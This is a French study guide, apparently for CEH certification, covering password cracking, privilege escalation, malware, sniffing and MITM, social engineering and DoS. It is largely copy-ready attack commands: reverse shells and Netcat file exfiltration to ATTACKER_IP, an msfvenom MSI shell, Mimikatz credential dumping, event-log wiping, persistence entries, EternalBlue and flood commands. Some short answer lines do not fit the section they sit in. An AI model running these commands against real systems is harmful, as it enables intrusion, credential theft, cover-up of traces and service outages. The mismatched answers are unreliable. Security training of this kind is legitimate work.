Exploitation de systèmes, malwares, sniffing, ingénierie sociale et DoS
Cracking de mots de passe, escalade de privilèges, rootkits, Keyloggers
L'attaque par dictionnaire utilise une liste prédéfinie de mots de passe courants, de variantes et de combinaisons connues (comme rockyou.txt). Elle est rapide mais limitée au contenu du dictionnaire utilisé. L'attaque par brute force tente, elle, systématiquement toutes les combinaisons possibles de caractères sur une plage définie (minuscules, majuscules, chiffres, symboles). Elle est garantie de trouver le mot de passe, mais peut prendre un temps considérable en fonction de sa complexité. Les deux attaques sont dites hors ligne lorsqu'elles ciblent des hash extraits d'un système, ou en ligne lorsqu'elles tentent de s'authentifier directement contre un service réseau.
### Hydra - Brute force SSH (en ligne) hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -t 4 -vV ### Hydra - Brute force d'un formulaire web (POST) hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" ### Medusa - Brute force FTP medusa -h 192.168.1.100 -u admin -P passwords.txt -M ftp -t 5 ### Ncrack - Brute force RDP ncrack -vv -U administrators.txt -P passwords.txt 192.168.1.100:3389
Hors ligne sur hash volés quand c'est possible : discret et rapide. L'en ligne reste bruyant et limité par le lockout.
Un hash est le résultat d'une fonction mathématique à sens unique qui transforme une donnée en une empreinte de taille fixe. On ne peut pas retrouver le mot de passe original à partir du hash, mais on peut tester des entrées, calculer leur hash et comparer le résultat avec le hash cible. C'est le principe du cracking. Les tables rainbow pré-calculent des chaînes de hash pour des combinaisons courantes : extrêmement rapides en recherche, mais très gourmandes en espace disque. John the Ripper mise sur la détection automatique de format et les règles de mutation ; Hashcat exploite le GPU pour un parallélisme massif.
### Identifier le type d'un hash hashid '5f4dcc3b5aa765d61d8327deb882cf99' ### John the Ripper - Crack avec une wordlist john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ### John - Spécifier le format et lancer un incrémental john --format=raw-md5 --incremental hash.txt ### Hashcat - Mode MD5 (mode 0), attaque par dictionnaire (mode 0) hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -a 0 ### Hashcat - Mode NTLM (1000) avec règle best64 hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule ### Hashcat - Mode WPA2 (22000) avec dictionnaire hashcat -m 22000 capture.hccapx wordlist.txt -a 0 ### Vérifier un hash MD5 echo -n "password" | md5sum
Parce qu'il est lent, salé et coûteux en calcul : chaque essai coûte cher, contrairement à MD5 ou NTLM quasi instantanés.
L'escalade de privilèges est l'étape critique qui suit une compromission initiale : l'attaquant part d'un accès utilisateur standard et cherche à obtenir les droits root. Les vecteurs principaux sont les binaires SUID/SGID mal configurés, un sudo trop permissif, les tâches cron exécutées en tant que root, le PATH hijacking et les exploits du noyau. Cette phase est généralement automatisée par des scripts comme LinPEAS ou LinEnum, mais il est essentiel de comprendre les commandes manuelles.
### Trouver tous les fichiers SUID find / -perm -4000 -type f 2>/dev/null ### Trouver les fichiers SGID find / -perm -2000 -type f 2>/dev/null ### Vérifier les droits sudo de l'utilisateur courant sudo -l ### Exploiter un bash SUID ./bash -p # si bash possède le bit SUID root, -p donne un shell root ### Examiner les tâches cron cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.daily/ crontab -l ### PATH hijacking echo '#!/bin/bash' > /tmp/service echo 'chmod +s /bin/bash' >> /tmp/service chmod +x /tmp/service export PATH=/tmp:$PATH /service # le faux binaire s'exécute, puis /bin/bash -p = root ### Vérifier la version du noyau (chercher un exploit) uname -a cat /etc/os-release
Consulter GTFOBins et utiliser l'échappement shell de vim (sudo vim -c '!sh') uniquement en lab autorisé, puis consigner.
Sur Windows, l'escalade de privilèges exploite les mécanismes de sécurité du système : le UAC (contrôle de compte d'utilisateur), les services Windows mal configurés, les tokens d'authentification et certaines clés de registre. L'objectif est de passer d'un compte standard à un compte administrateur ou au compte SYSTEM (le plus élevé). Les scripts WinPEAS et PowerUp permettent d'automatiser la reconnaissance, mais la compréhension manuelle est indispensable pour l'examen.
### Vérifier les privilèges et le token de l'utilisateur
whoami /priv
whoami /all
### Lister les services et vérifier les chemins
sc queryex type= service state= all | findstr "SERVICE_NAME"
accesschk /u "utilisateur" -qwkcu "C:\Program Files\Service Vulnérable\"
### JuicyPotato - élévation vers SYSTEM (2008-2016)
JuicyPotato.exe -l 1337 -p C:\temp\payload.exe -t * -c {CLSID}
### GodPotato - élévation vers SYSTEM (2012-2022)
GodPotato.exe -cmd "cmd /c whoami"
### PrintSpoofer - alternative légère
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "cmd /c C:\temp\nc.exe 192.168.1.100 4444 -e cmd.exe"
### AlwaysInstallElevated - générer et installer un MSI malveillant
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi
### Vérifier la clé AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedSeImpersonatePrivilege (souvent avec SeAssignPrimaryToken) : sans lui, pas d'impersonation de token SYSTEM.
Le maintien d'accès consiste à conserver la possibilité de revenir sur le système compromis, même après un redémarrage ou la fermeture de la connexion initiale. On distingue deux grands types de shells distants : le bind shell, où la machine cible ouvre un port et attend la connexion de l'attaquant, et le reverse shell, où la cible initie elle-même la connexion vers l'attaquant. Le reverse shell est prédominant car il contourne les pare-feux qui bloquent généralement le trafic entrant.
### Listener côté attaquant
nc -lvnp 4444
### Reverse shell Bash (côté victime)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
### Reverse shell Python (côté victime)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
### Reverse shell Netcat (victime)
nc -e /bin/sh ATTACKER_IP 4444
### Bind shell (victime écoute)
nc -lvnp 4444 -e /bin/sh
### Transfert de fichier avec Netcat
# Côté attaquant (réception) :
nc -lvnp 9999 > fichier_recu.exe
# Côté victime (envoi) :
nc ATTACKER_IP 9999 < fichier_envoye.exe
### Encoder une reverse shell pour éviter la détection
echo "/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64Parce que le trafic est sortant et souvent autorisé, alors que le bind ouvre un port entrant filtré et scannable.
Après la prise de contrôle, un attaquant déploie des mécanismes de dissimulation (rootkits), vole les credentials (Mimikatz), intercepte les frappes clavier (keyloggers) et efface ses traces pour échapper à la détection forensique. Ce sont des modules centraux du programme CEH, à la fois sur le plan technique et celui des contre-mesures défensives.
### Effacement des journaux d'événements Windows wevtutil el # liste les journaux disponibles wevtutil cl Security # efface le journal Sécurité wevtutil cl System # efface le journal Système wevtutil cl Application # efface le journal Application ### Timestomping Linux (modifier l'horodatage) touch -d "2023-01-01 08:00:00" fichier.txt touch -t 202301010800 fichier.txt ### Timestomping Windows (Metasploit) timestomp.exe fichier.exe -m "01/01/2023 08:00:00" -a "01/01/2023 08:00:00" -c "01/01/2023 08:00:00" ### Purger les traces de connexion Linux history -c cat /dev/null > /var/log/auth.log cat /dev/null > /var/log/wtmp lastlog # vérifier les connexions enregistrées ### Mimikatz - extraction des credentials Windows privilege::debug sekurlsa::logonpasswords # mots de passe clairs + hash NTLM en mémoire lsadump::lsa /patch # extraire les hash de la base SAM lsadump::dcsync /domain:lab.local /user:Administrator # DCSync sur Active Directory
lsadump::dcsync : elle réplique les hash du domaine comme un DC légitime, sans déployer de malware sur chaque machine.
Virus, trojans, ransomwares, spywares : analyse, création et contre-mesures
Un malware (logiciel malveillant) est tout programme conçu pour nuire, infiltrer ou exploiter un système sans le consentement de l'utilisateur. On le classe selon son mode de propagation, sa finalité et son comportement. La connaissance de ces familles est fondamentale pour le CEH, tant pour les reconnaître en analyse que pour comprendre leurs contre-mesures.
### Différencier par la propagation (règle de base) # Virus : nécessite un hôte + action utilisateur # Worm : auto-propagation réseau, aucune action requise # Trojan : déguisé en légitime, ne se réplique pas # RAT : accès distant complet # Bot : membre d'un botnet contrôlé par C2 ### Vecteurs de propagation typiques # - Phishing : email avec pièce jointe ou lien malveillant # - Drive-by : site web compromis qui infecte le visiteur # - USB : clé USB infectée (autorun) # - Exploit kit : pack de vulnérabilités navigateur
Un ver : auto-réplication réseau via vulnérabilité, sans intervention, à isoler et patcher (ex. EternalBlue).
Les ransomwares ont explosé face à la rentabilité du modèle de rançon. Leur mécanisme repose sur le chiffrement cryptographique des données (fichiers ou table de fichiers) suivi d'une demande de paiement. Certains sont des vers se propageant massivement via des vulnérabilités publiques ; d'autres ciblent spécifiquement de grandes entreprises via l'ingénierie sociale et des accès compromis.
### EternalBlue / MS17-010 - vulnérabilité SMBv1 dans Metasploit use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 exploit ### Patch correspondant (défensif) # Windows Update KB4013389 (bloquait WannaCry / NotPetya) ### Analyse : repérer les extensions chiffrées dir /a *.wncry *.petya *.ryk # Vérifier la présence d'un fichier de rançon (README.txt, HOW_DECRYPT.txt)
Le patch MS17-010 (KB4013389), la désactivation de SMBv1, la segmentation et des sauvegardes hors ligne testées.
L'analyse de malware poursuit deux objectifs : comprendre le comportement sans l'exécuter (analyse statique) ou l'exécuter dans un environnement contrôlé pour observer ses actions (analyse dynamique). L'analyse statique est plus sûre ; l'analyse dynamique fournit plus d'informations comportementales mais exige une sandbox isolée pour éviter toute contamination.
### Analyse statique basique (Linux) file malware.exe strings malware.exe | head -50 strings -n 6 malware.exe | grep -iE "http|cmd|powershell" ### Hachage pour VirusTotal md5sum malware.exe sha256sum malware.exe ### Entropie (détection de packing) avec pecheck pecheck -e malware.exe ### Analyse de la structure PE pe-tree malware.exe ### Process Monitor (Windows, graphique) # Procmon.exe + filtres sur RegSetValue, CreateFile, Process Create ### Réseau simulé : INetSim (Linux) pour observer l'exfiltration inetsim ### Désassemblage - Ghidra (mode headless) analyzeHeadless /home/analyst/ghidra_project malware -import malware.exe -overwrite
Un code packé ou chiffré : les strings sont masquées, il faut unpack ou passer au dynamique en sandbox.
Pour passer les défenses, les auteurs de malwares modifient en permanence leur code afin que les signatures antivirus ne puissent plus les reconnaître. Les techniques reposent sur le polymorphisme, le métamorphisme, le packing et l'obfuscation. Le reverse engineering permet à l'analyste de comprendre ces mécanismes et au red team de les façonner.
### Packer UPX - compresser un binaire
upx backdoor.exe -o backdoor_packed.exe
### Vérifier si un fichier est packé
file malware.exe # indique "UPX" s'il est packé
pecheck -e malware.exe # entropie élevée = packing probable
### Obfuscation XOR simple (exemple pédagogique)
python -c "data=open('payload.bin','rb').read(); open('obf.bin','wb').write(bytes(b^0xAA for b in data))"
### Désassemblage en ligne de commande (objdump)
objdump -d -M intel malware.exe | head -80
### Ghidra - lancer l'analyse en mode console
ghidraRun # GUI : File > New Project, import, Analyse Auto
### x64dbg (Windows) : points d'arrêt sur les API réseau
# bp ws2_32.send, bp wininet.HttpSendRequestA, bp kernel32.WriteFileParce que Nmap doit recevoir les réponses : ME place votre vraie adresse parmi les leurres, les autres IP masquent l'origine réelle.
Pour survivre à un redémarrage, un malware doit s'installer dans un mécanisme d'auto-démarrage du système d'exploitation. Windows offre plusieurs emplacements de persistance : les clés du registre Run, les tâches planifiées, WMI (Windows Management Instrumentation) et les services Windows. Chacun est un point de résilience que l'analyste forensique doit connaître.
### Persistance via Run key (registre) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Users\victim\AppData\Local\payload.exe" ### Persistance via tâche planifiée schtasks /create /tn "Updater" /tr "C:\temp\payload.exe" /sc onlogon /ru SYSTEM /rl HIGHEST schtasks /query /tn "Updater" ### Persistance via service Windows sc create Backdoor binPath= "C:\temp\payload.exe" start= auto sc start Backdoor ### Audit des Run keys (défensif) reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
L'abonnement WMI (__EventFilter plus __EventConsumer) : il vit dans la base WMI, pas comme fichier au démarrage.
Analyse de paquets, ARP poisoning, MITM, capture de credentials
Le sniffing consiste à capturer et analyser les paquets qui transitent sur le réseau pour en extraire des informations : credentials, cookies, sessions, contenu applicatif. La capacité à « écouter » dépend de l'infrastructure. Sur un hub, tous les paquets sont diffusés à tous les ports : il suffit d'un mode promiscuous. Sur un switch, les trames sont dirigées uniquement vers le port de destination, d'où la nécessité de techniques comme l'ARP poisoning pour écouter.
### Activer le mode promiscuous (Linux, interface eth0) sudo ip link set eth0 promisc on # ou sudo ifconfig eth0 promisc ### Vérifier le mode promiscuous sudo ip link show eth0 | grep PROMISC ### Activer le mode promiscuous (Windows) # via le gestionnaire réseau ou la boîte à outils Npcap lors de l'installation ### Détecter une interface en mode promiscuous (approche défensive) sudo nmap --script=sniffer-detect <cible>
Parce qu'il n'envoie chaque trame que vers le port destinataire : il faut ARP poisoning, MAC flooding ou port mirroring autorisé.
Wireshark est l'analyseur de paquets de référence. Il capture en temps réel sur l'interface sélectionnée, puis permet de filtrer l'affichage, de suivre des flux TCP et de décoder les protocoles applicatifs. Les filtres d'affichage (display filters) sont la compétence clé pour naviguer efficacement dans des captures volumineuses.
### Filtres d'affichage Wireshark courants tcp.port == 80 # tout trafic HTTP http # paquets HTTP uniquement ip.addr == 192.168.1.100 # trafic depuis/vers cette IP http.request # requêtes HTTP http.response # réponses HTTP tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN de la poignée de main dns.qry.name contains "admin" # requêtes DNS ftp.request.command == "USER" # commandes FTP http contains "password" # paquets HTTP contenant "password" ### Capturer sur une interface avec tshark (CLI Wireshark) tshark -i eth0 -f "tcp port 80" -w capture.pcap tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
tcp.flags.syn==1 et tcp.flags.ack==0 : ce sont les ouvertures de handshake, typiques d'un scan.
Le protocole ARP associe une adresse IP à une adresse MAC dans le segment local. L'ARP poisoning consiste à envoyer des réponses ARP falsifiées pour associer l'adresse IP d'une victime à l'adresse MAC de l'attaquant. Une fois l'attaquant entre la victime et sa passerelle, tout le trafic passe par lui : c'est une attaque de l'homme du milieu (MITM), qui permet de capturer, modifier ou rediriger les données.
### IP forwarding (Linux) pour relayer le trafic echo 1 > /proc/sys/net/ipv4/ip_forward # ou sysctl -w net.ipv4.ip_forward=1 ### ARP Spoofing avec arpspoof (dsniff) arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 # passerelle vers victime arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 # victime vers passerelle ### ARP Spoofing avec Ettercap (GUI) ettercap -G # Hôtes > Scan pour hosts ; cible 1 = victime, cible 2 = passerelle # Mitm > ARP poisoning > cocher "Sniff remote connections" ### Ettercap en CLI ettercap -T -M arp:remote /192.168.1.10// /192.168.1.1// ### Vérifier le cache ARP empoisonné arp -a
Pour relayer le trafic intercepté vers sa vraie destination : sans lui, la victime perd Internet et l'attaque est repérée.
Une fois le MITM établi (ARP poisoning), l'attaquant peut amplifier la portée de l'attaque : falsifier les réponses DNS pour rediriger la victime vers de faux sites, capturer les credentials HTTP Basic, les cookies et tokens de session, ou dégrader une connexion HTTPS en HTTP. Ces techniques permettent le vol de session (session hijacking) et d'identifiants.
### DNS spoofing (dnsspoof - suite dsniff) echo "192.168.1.100 *.bank.com" > host.txt dnsspoof -i eth0 -f host.txt ### DNS spoofing via Ettercap (plugin) ettercap -T -M arp:remote /192.168.1.10// /192.168.1.1// -P dns_spoof ### sslstrip - rétrograder HTTPS vers HTTP (MITM) sslstrip -l 8080 -w sslstrip.log # puis rediriger le port 80 vers 8080 (iptables) iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 ### mitmproxy - proxy MITM interactif mitmproxy --mode transparent -p 8080 ### Décoder les credentials en Base64 capturés echo "admin:password" | base64 # YWRtaW46cGFzc3dvcmQ= echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d ### Repérer un Cookie de session dans une capture Wireshark http.request.method == "POST" && http contains "Cookie"
HSTS (Strict-Transport-Security) : le navigateur refuse le HTTP et impose HTTPS, complété par Secure et HttpOnly sur les cookies.
Pour le sniffing en environnement de ligne de commande (serveurs, accès à distance, scripts), tcpdump (Linux) et tshark (CLI de Wireshark) sont incontournables. Côté défensif, plusieurs mécanismes de couche 2 permettent de neutraliser l'ARP poisoning en rendant les associations IP-MAC fiables et contrôlées.
### tcpdump - capturer et filtrer sudo tcpdump -i eth0 -nn -w capture.pcap # écrire dans un fichier sudo tcpdump -r capture.pcap -nn # relire le fichier sudo tcpdump -i eth0 tcp port 80 # trafic HTTP sudo tcpdump -i eth0 host 192.168.1.100 -nn sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' ### tshark - extraire des données depuis une capture tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e ip.src ### Cisco - contre-mesures de couche 2 # Port security switchport port-security switchport port-security maximum 2 switchport port-security violation shutdown # DHCP Snooping ip dhcp snooping vlan 10 ip dhcp snooping # Dynamic ARP Inspection (DAI) ip arp inspection vlan 10 # 802.1X dot1x system-auth-control interface GigabitEthernet0/1 dot1x port-control auto
Dynamic ARP Inspection adossé au DHCP snooping : chaque réponse ARP est validée contre la liaison IP-MAC apprise.
Phishing, pretexting, baiting, vishing — manipulation humaine
L'ingénierie sociale attaque le maillon humain, considéré comme le plus faible de la chaîne de sécurité. Plutôt que d'exploiter une vulnérabilité technique, l'attaquant manipule les émotions et les biais cognitifs pour obtenir des informations, des accès ou des actions. La réussite repose sur l'activation de leviers psychologiques bien identifiés que le CEH répertorie précisément.
### Modèle de l'ingénierie sociale (étapes) # 1. Collecte : reconnaissance (OSINT) sur la cible # 2. Développement : construire le prétexte / le scénario # 3. Manipulation : contact avec la cible (email, appel, physique) # 4. Exfiltration : obtenir l'information ou l'action désirée ### Signaux d'alerte d'une tentative (à enseigner) # - Urgence inhabituelle # - Demande de credentials / MFA / transfert # - Adresse d'expéditeur légèrement altérée (banque-support.com) # - Liens raccourcis ou domaines déviants # - Pièce jointe inattendue
L'urgence combinée à l'autorité : elle pousse à agir sans vérifier par un second canal.
Le phishing est la forme la plus répandue d'ingénierie sociale : l'attaquant envoie un message frauduleux (email, SMS/smishing, messagerie) imitant une entité de confiance pour piéger la victime. Le phish se décline en plusieurs cibles et niveaux de sophistication, du phishing de masse au spear-phishing très ciblé. Comprendre ces variantes est essentiel pour le CEH.
### Analyse technique d'un email de phishing # Examiner les en-têtes complets (X-Originating-IP, Received) # Vérifier SPF / DKIM / DMARC dig +short TXT banque.com # enregistrement SPF dig +short TXT _dmarc.banque.com # politique DMARC ### Vérifier la destination réelle d'un lien sans cliquer curl -sI "http://lien-court" | grep -i "location" ### Rechercher des informations pour du spear-phishing (OSINT) theHarvester -d exmple.com -b google theHarvester -d exmple.com -b linkedin
Le spear part d'OSINT pour une cible précise ; le clone reprend un mail légitime déjà reçu en modifiant lien ou pièce jointe.
Le Social Engineering Toolkit (SET), développé par TrustedSec, est l'outil de référence pour simuler des attaques d'ingénierie sociale : phishing email, clonage de site web, vecteurs USB, etc. Le clonage d'un site permet de créer une réplique d'une page de connexion légitime qui capture les identifiants saisis par la victime. SET est utilisé à des fins pédagogiques et de test autorisé.
### Utilisation du Social Engineering Toolkit sudo setoolkit # Choix du menu : # [1] Social-Engineering Attacks # [2] Website Attack Vectors # [3] Credential Harvester Attack Method # [2] Site Cloner # IP address for the POST back in Harvester/Tabnabbing : <IP de l'attaquant> # URL to clone : http://www.exemple-connexion.com # Résultat : serveur web cloné qui capture les credentials POST ### Vérifier que le serveur de capture écoute sudo ss -tlnp | grep :80
Les identifiants POST saisis sur le clone, avec redirection vers le site réel pour rester discret pendant le test autorisé.
Au-delà des emails, l'ingénierie sociale s'exerce par la parole (vishing) et en face à face (pretexting, baiting, tailgating, quid pro quo). Ces techniques reposent sur la construction d'un scénario crédible (pretext) et l'exploitation d'opportunités physiques. Le CEH les regroupe sous le thème de l'« human hacking ».
### Scénario type de pretexting (téléphone) # Appelant : "Bonjour, ici le support informatique. Nous remarquons # une anomalie sur votre compte. Pouvez-vous confirmer votre identifiant # et votre code à 2 chiffres pour vérification ?" # (Le prétexte : anomalie de sécurité = urgence + autorité) ### Vishing : vérifier l'identité du correspondant # Raccrocher et rappeler le numéro officiel de l'organisation # Ne jamais donner de MFA / mot de passe par téléphone ### Baiting : politique d'usage des périphériques # - Clés USB inconnues : ne jamais brancher # - Désactiver l'autorun sur les postes
Raccrocher et rappeler le numéro officiel : on vérifie l'identité par un second canal, on ne transmet ni mot de passe ni MFA.
GoPhish permet de déployer des campagnes de phishing en toute légalité pour mesurer la résistance d'une organisation. L'OSINT (renseignement d'origine sources ouvertes) sur les réseaux sociaux fournit le matériau de personnalisation (spear-phishing). Enfin, les contre-mesures transforment le maillon humain en première ligne de défense.
### GoPhish - démarrage et configuration gophish # Accéder à l'interface : https://localhost:3333 (compte admin par défaut) # 1. Landing Pages : cloner une page de connexion # 2. Email Templates : créer le mail de phish # 3. Sending Profiles : configurer le serveur SMTP # 4. Campaigns : créer la campagne, lancer, suivre le reporting ### OSINT : outils de reconnaissance theHarvester -d exmple.com -b linkedin theHarvester -d exmple.com -b all ### OSINT : rechercher un utilisateur sur les réseaux sociaux sherlock "nom.utilisateur" sherlock --timeout 5 --print-found "nom.utilisateur" ### Contre-mesures : activer la MFA (concept) # - OTP (TOTP) : mot de passe à usage unique # - Vérifier chaque demande de credential par un second canal # - Appliquer une politique de sensibilisation trimestrielle
Le taux de soumission (identifiants saisis), plus grave que le taux d'ouverture ou de clic, issu d'une campagne autorisée.
Déni de service, amplification, botnets et contre-mesures
Une attaque par déni de service (DoS) vise à rendre un service, un système ou un réseau indisponible en consommant ses ressources (bande passante, connexions, CPU, mémoire) jusqu'à saturation. Les attaques de couche transport et réseau exploitent la poignée de main TCP ou des paquets volumineux pour épuiser les ressources. Un DoS émane d'une seule source ; un DDoS d'un ensemble distribué.
### SYN flood avec hping3 sudo hping3 -S -p 80 --flood 192.168.1.100 # -S : flag SYN ; --flood : envoi maximal sans attente ### UDP flood avec hping3 sudo hping3 -2 -p 53 --flood 192.168.1.100 ### ICMP flood sudo hping3 -1 --flood 192.168.1.100 ### Observer les connexions semi-ouvertes (état SYN_RECV) netstat -ant | grep SYN_RECV | wc -l ss -s # statistiques TCP
Des connexions semi-ouvertes qui remplissent la file : signature typique d'un SYN flood avec IP spoofées.
Les attaques par amplification transforment un petit paquet en un très gros volume destiné à la victime en utilisant la spoofing d'adresse source. L'attaquant envoie une requête avec l'adresse IP de la victime comme expéditeur vers un serveur qui répond avec une réponse beaucoup plus grande, dirigée vers la victime. Le facteur d'amplification est le rapport entre la taille de la réponse et celle de la requête : plus il est grand, plus l'attaque est puissante.
### Tester en local un facteur d'amplification NTP (monlist) sudo nmap -sU -pU:123 --script ntp-monlist <serveur> ### Vérifier si un serveur DNS est ouvert en récursion (amplifiable) dig +short TXT <domaine> @<serveur-dns> # réponse TXT volumineuse dig +short ANY <domaine> @<serveur-dns> ### Vérifier un port Memcached exposé à Internet (11211 UDP) nc -zu <serveur> 11211 ### Détecter les amplificateurs ouverts (approche défensive) sudo nmap -sU -pU:123 --script ntp-monlist 192.168.1.0/24
Que tout le monde peut monter l'export : fuite ou prise de contrôle selon les droits, à signaler en critique.
Un DDoS (distributed denial of service) émane de milliers de machines compromises formant un botnet. La puissance coordonnée d'un botnet permet de saturer des infrastructures qui résisteraient à une source unique. Le botnet le plus célèbre, Mirai, a mis en avant la vulnérabilité des objets connectés (IoT) par mots de passe par défaut.
### Concepts d'architecture C2 # Centralisé : bots -> C2 (HTTP/IRC/HTTPS). Point de défaillance unique. # P2P : bots communiquent en pair-à-pair, résilient (ZeroAccess, Hajime) ### Référence : mots de passe par défaut souvent testés par Mirai # admin/admin, root/123456, root/root, admin/password ### Détection d'un botnet : trafic sortant anormal # - Connexions périodiques vers une même IP de C2 # - Volume anormal de trafic UDP/ICMP sortant
Les mots de passe par défaut des IoT, la segmentation et les mises à jour : sans recrues, pas de botnet.
Les attaques de la couche applicative (couche 7 du modèle OSI) sont discrètes et économes : elles n'inondent pas le réseau mais exploitent la logique des protocoles applicatifs (surtout HTTP) pour épuiser les ressources du serveur web avec très peu de bande passante. Elles épuisent les connexions ouvertes, les threads ou la mémoire de l'application.
### Slowloris - principe (à des fins de test) # - Créer de nombreuses connexions TCP # - Envoyer des en-têtes HTTP partiels # - Garder les connexions ouvertes le plus longtemps possible ### hping3 - connexions TCP sans compléter la poignée de main sudo hping3 -S -p 80 -i u1 192.168.1.100 ### Configurer Apache pour limiter les connexions (défensif) # /etc/apache2/apache2.conf Timeout 10 KeepAliveTimeout 5 MaxRequestWorkers 50 ### Observer les connexions HTTP en attente (signe Slowloris) netstat -ant | grep ":80 " | wc -l # nombre anormalement élevé de connexions en attente = signe Slowloris
Un nombre anormal de connexions HTTP en attente avec très peu de bande passante consommée.
Pour tester la résistance d'une infrastructure, on utilise des outils spécialisés : hping3 pour les floods réseau, LOIC et HOIC pour le DDoS applicatif, et les modules auxiliaires DoS de Metasploit. Côté défensif, la détection repose sur l'analyse du trafic (NetFlow, anomalies) et la protection passe par le rate limiting, le WAF, les CDN, le black hole routing et l'anti-spoofing (BCP38).
### hping3 - floods divers
sudo hping3 -S -p 80 --flood 192.168.1.100 # SYN flood
sudo hping3 -2 -p 53 --flood 192.168.1.100 # UDP flood
sudo hping3 -1 --flood 192.168.1.100 # ICMP flood
### Metasploit - module DoS SYN flood
use auxiliary/dos/tcp/synflood
set RHOSTS 192.168.1.100
set RPORT 80
set NUM 1000000
run
### Metasploit - Slowloris
use auxiliary/dos/http/slowloris
set RHOSTS 192.168.1.100
run
### Activer le rate limiting (nginx - serveur autorisé)
# http { limit_req_zone $binary_remote_addr zone=req:10m rate=10r/s; }
# server { location / { limit_req zone=req burst=20; } }
### fail2ban - bannir les IP anormales
# /etc/fail2ban/jail.local
# [slowloris]
# enabled = true
# filter = apache-slowloris
# maxretry = 5
### Détection NetFlow (concept)
# Un pic de débit soudain vers une IP = alerte DDoS
# NetFlow export sur port 2055, analyser avec nfdump ou elastiflowBCP38 (filtrage ingress et egress anti-spoof) plus fermeture des UDP ouverts : sans spoof, pas d'amplification.